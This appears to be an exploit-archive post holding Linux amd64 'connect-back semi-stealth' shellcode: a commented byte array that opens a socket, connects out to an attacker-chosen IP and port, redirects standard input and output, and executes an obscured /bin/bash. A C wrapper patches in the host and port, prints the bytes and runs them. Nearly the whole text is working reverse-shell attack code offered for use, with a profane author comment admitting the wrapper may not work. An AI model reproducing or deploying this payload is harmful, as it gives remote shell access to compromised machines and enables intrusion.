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linux/amd64 connect-back semi-stealth shellcode 88+ bytes
========================================================= linux/amd64 connect-back semi-stealth shellcode 88+ bytes ========================================================= #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <limits.h> /* usual rant here.. this is just a doodle.. i was curious about the amd64 and since i dont think a simple exec /bin/sh is worth releasing i give you, my amd64 connect-back semi-stealth shellcode.. i say semi-stelth because it contains the bullshit feature that /bin/bash isnt /easily/ noticable this code uses both 32 and 64 bit instructions, and uses only 64 bit kernel entrypoints if you might say "but..phar.. linux has 32 bit compatability.. and i can just use existing shellcode" to that my answer is "fuck you".. i mean.. "there is actually an option to disable 32bit compatability.. i checked.. its there... i promise" im not entirely sure the C crap below will do what you want.. but the shellcode is good and can be edited by hand if needed.. (dont forget to invert) bpp.etherdyne.net www.stonedcoder.org phar[at]stonedcoder[dot]org */ char sc_raw[] = "\x48\x31\xd2" // xor %rdx,%rdx "\x6a\x01" // pushq $0x1 "\x5e" // pop %rsi "\x6a\x02" // pushq $0x2 "\x5f" // pop %rdi "\x6a\x29" // pushq $0x29 "\x58" // pop %rax "\x0f\x05" // syscall #socket "\x48\x97" // xchg %rax,%rdi #in_sockaddr, rax does equal 2 but i think i can get away with this "\x50" // push %rax "\x48\xb9\x00\x00\x00\x00\x11" // mov $0x4141414141414141,%rcx "\x11\xff\xfd" "\x48\xf7\xd1" // not %rcx "\x51" // push %rcx "\x48\x89\xe6" // mov %rsp,%rsi "\x6a\x10" // pushq $0x10 "\x5a" // pop %rdx "\x6a\x2a" // pushq $0x2a "\x58" // pop %rax "\x0f\x05" // syscall #connect "\x6a\x03" // pushq $0x3 "\x5e" // pop %rsi //dup_loop: "\x6a\x21" // pushq $0x21 "\x58" // pop %rax "\x48\xff\xce" // dec %rsi "\x0f\x05" // syscall #dup2 "\x75\xf6" // jne 4004c5 <dup_loop> "\x48\xbb\xd0\x9d\x96\x91\xd0" // mov $0xff978cd091969dd0,%rbx "\x8c\x97\xff" "\x48\xf7\xd3" // not %rbx "\x53" // push %rbx "\x48\x89\xe7" // mov %rsp,%rdi "\x48\x31\xc0" // xor %rax,%rax "\x50" // push %rax "\x57" // push %rdi "\x48\x89\xe6" // mov %rsp,%rsi "\x48\x31\xd2" // xor %rdx,%rdx "\xb0\x3b" // mov $0x3b,%al "\x0f\x05" // syscall #exec ; #define HOSTOFFSET 19 #define PORTOFFSET 23 void scprint(char * foo, int len); void usage(); void (*shellcode)() = sc_raw; main(int argc, char *argv[]){ uint32 host; uint16 port; if(argc != 3){ //i'll only do so much to save you from stupidity usage(); exit(1); } host =~ (int)inet_addr(argv[1]); port =~ htons(atoi(argv[2])); memcpy(&sc_raw[HOSTOFFSET],&host,4); memcpy(&sc_raw[PORTOFFSET],&port,2); scprint(sc_raw,sizeof(sc_raw)); shellcode(); } void scprint(char * foo, int len){ int i; printf("char shellcode[]=\""); for(i = 0; i < len; i++){ printf("\\x%02x",(char)foo[i]&0xff); } printf("\";\n"); fflush(stdout); } void usage(){ printf("./%s [<ip address.. and i mean ip address>] [<port number>]\n\n"); } # 0day.today [2024-11-15] #